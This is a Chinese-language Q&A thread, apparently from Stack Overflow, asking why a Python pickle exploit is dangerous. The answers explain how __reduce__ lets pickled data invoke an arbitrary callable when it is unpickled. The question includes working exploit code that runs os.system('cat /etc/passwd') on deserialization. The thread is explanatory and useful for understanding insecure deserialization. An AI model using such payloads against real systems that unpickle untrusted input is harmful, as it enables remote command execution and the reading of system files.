【问题标题】:Can anyone explain me the example of an exploit in Python’s pickle module?谁能解释一下 Python 的 pickle 模块中的漏洞利用示例?
【发布时间】:2016-07-11 13:00:13
【问题描述】:

我想了解python pickle 模块中的利用示例? 我从 github 获得了一个代码,它显示了 pickle 模块中的漏洞利用,但仍然无法理解它。请指导我。

import os
import pickle


class Exploit(object):
    def __reduce__(self):
        return (os.system, ('cat /etc/passwd',))


def serialize_exploit():
    shellcode = pickle.dumps(Exploit())
    return shellcode


def insecure_deserialize(exploit_code):
    pickle.loads(exploit_code)


if __name__ == '__main__':
    shellcode = serialize_exploit()
    insecure_deserialize(shellcode)

【问题讨论】:

  • 您不确定的到底是什么?结果或为什么会发生某件事?
  • @Torxed 不知道为什么它很危险
  • 漏洞利用很危险,因为它是漏洞利用。任何类型的漏洞利用都是危险的,无论它真正做什么。因此我不愿意回答你的问题。你基本上回答了你自己的问题,问为什么一个漏洞利用是危险的;)
  • @Torxed 我只想解释上面的代码,为什么危险?

标签: python pickle


【解决方案1】:

当你解开一个对象时,会调用 __reduce__ 方法。 __reduce__ 的第一个参数是一个可调用的,即一个函数。下一个参数是 __reduce__ 的参数元组。在这种情况下,当 Exploit 被 unpickled 时,os.system 被调用,并被赋予 'cat /etc/passwd' 作为参数。

os.system 允许您根据主机操作系统进行系统调用。在这种情况下,希望是 Linux。

cat 将文件的内容打印到标准输出,/etc/passwd 是存储系统用户信息的位置。更多恶意代码可能会尝试通过 Internet 发送该信息,或者可能会尝试破坏您的文件系统等。

基本上,通过取消对您一无所知的对象,您很容易受到 __reduce__ 方法所做的任何事情的影响。

https://docs.python.org/2/library/pickle.html

http://man7.org/linux/man-pages/man1/cat.1.html

【讨论】:

  • __reduce__ 在酸洗时调用,而不是解酸。 __reduce__ 的返回值成为腌制数据的一部分,并且在取消腌制时使用该数据。此外,使用__reduce__ 方法进行攻击只是为了方便。漏洞在于pickle数据格式允许指定任意可调用对象。
猜你喜欢
  • 2016-04-10
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2013-06-28
  • 1970-01-01
  • 2020-07-15
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多